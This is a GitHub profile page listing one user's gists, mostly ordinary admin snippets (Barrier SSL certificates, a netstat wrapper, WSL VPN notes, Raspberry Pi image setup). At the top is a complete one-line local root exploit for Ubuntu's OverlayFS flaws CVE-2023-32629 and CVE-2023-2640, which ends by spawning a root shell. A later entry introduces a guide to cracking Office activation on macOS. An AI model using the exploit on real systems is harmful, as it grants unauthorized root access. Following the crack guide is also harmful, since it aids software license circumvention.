Skip to content

Instantly share code, notes, and snippets.

View coffnix's full-sized avatar

Raphael Bastos aka coffnix coffnix

View GitHub Profile
@coffnix
coffnix / gist:e8cebdc36c069072acdcafa4dde58fa3
Created November 10, 2023 12:06
CVE-2023-32629 и CVE-2023-2640
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash\")'"
#!/usr/bin/python3
# -*- coding: utf-8 -*-
VERSION = "15"
# Host servidor de correio da VIPNIX
MAILSERVER = "smtp.zoho.com"
PORT = "587"
# The mail addresses and password
#!/bin/bash
# Check if -r flag is set
if [[ "$1" == "-r" || "$2" == "-r" ]]; then
netstat -nr | sed -e '1,3d;/Internet6:/,$d;/^$/d'
exit 0
fi
# Get interface names
network_info=$(networksetup -listnetworkserviceorder | grep -E '\(Hardware Port: .+, Device: .+\)')
@coffnix
coffnix / cert-ssl-barrier.txt
Last active July 25, 2024 15:27
barrier SSL cert
# Linux (client)
cd ~/.local/share/barrier/SSL/
openssl req -x509 -nodes -days 3650 -sha256 -subj /CN=Barrier -newkey rsa:4096 -keyout Barrier.pem -out Barrier.pem
# Windows (client)
cd %USERPROFILE%\AppData\Local\Barrier\SSL
openssl req -x509 -nodes -days 3650 -sha256 -subj "/CN=Barrier" -newkey rsa:4096 -keyout Barrier.pem -out Barrier.pem
@coffnix
coffnix / Activate Office 2019 for macOS VoL.md
Created January 4, 2023 03:13 — forked from zthxxx/Activate Office 2019 for macOS VoL.md
crack activate office on mac with license file

Activate MS Office 2019/2016 for macOS - Microsoft_Office_2019_VL_Serializer

Office 2019 above

2019-06-03

Note that Office2019 DO NOT support activate via simple copy/paste plist license file which is the simplest way to activate Office 2016. Fortunately, you can also use the VL Serializer tool, just install Office 2019 and Serializer, then run Serializer to activate.

Ref

@coffnix
coffnix / WSL2_VPN_Workaround_Instructions.md
Created October 31, 2022 15:37 — forked from machuu/WSL2_VPN_Workaround_Instructions.md
Workaround for WSL2 network broken on VPN

Overview

Internet connection and DNS routing are broken from WSL2 instances, when some VPNs are active. The workaround breaks down into two problems:

  1. Network connection to internet
  2. DNS in WSL2

This problem is tracked in multiple microsoft/WSL issues including, but not limited to:

@coffnix
coffnix / init
Created April 9, 2022 20:43
init livecd funtoo
#!/bin/sh
# initram Area31 Hackerspace
blank_msg()
{
echo
}
good_msg()
{
#!/usr/bin/env python
import os
import random
os.system('clear')
Problema = [ "O estatuto do desarmamento", "O controle de armas", "Os decretos frageis de armas", "A inseguranca juridica do CAC", "A falta de leis para porte do CAC", "A restricao de calibres" ]
Natureza = [ "e uma invencao", "e uma estrategia", "e uma manobra", "e um complo", "e uma bandeira", "e uma falacia" ]
Culpado = [ "do Fidel Castro", "dos sindicalistas", "dos baderneiros", "dos petralhas", "dos idiotas uteis", "do MEC" ]
@coffnix
coffnix / extract funtoo image on raspi3b+
Last active December 22, 2018 07:21
GEN image raspi3b+ funtoo linux Raw
# descompacte no sdcard novo:
mkdir /pendrive;mount /dev/mmcblk0p2 /pendrive/;mount /dev/mmcblk0p1 /pendrive/boot
tar xjpf funtoo-raspi3-22-12-2018.tar.bz2 -C /pendrive
# troca senha pra root
sed -i /'root:'/d /pendrive/etc/shadow
sed -i '1i root:$6$RmC.Jho1o/9n/.7X$aMOtiIZC3hoLaJJJ3ZW2Do7IRlSMuDWh5qUvaG9beIIFO92kWYJmrxAARypJA/g3zj4/wbq7rumQorw6lOMTE.:17846:0:::::' /pendrive/etc/shadow
@coffnix
coffnix / test-lock.sh
Created December 10, 2018 14:00
lock em bash script
#!/bin/bash
###############################################################################
# Testa se script já encontra-se em execução
test_running() {
RUNNING=$(ps aux | grep "$(printf '%s\n' "${0##*/}")" | grep bash | grep -v "bash -c" | grep -v $$ | grep -v grep | wc -l)
if [ ${RUNNING} -gt 1 ]; then
echo "Script ja esta rodando, aguardando 10 segundos para tentar novamente."
sleep 10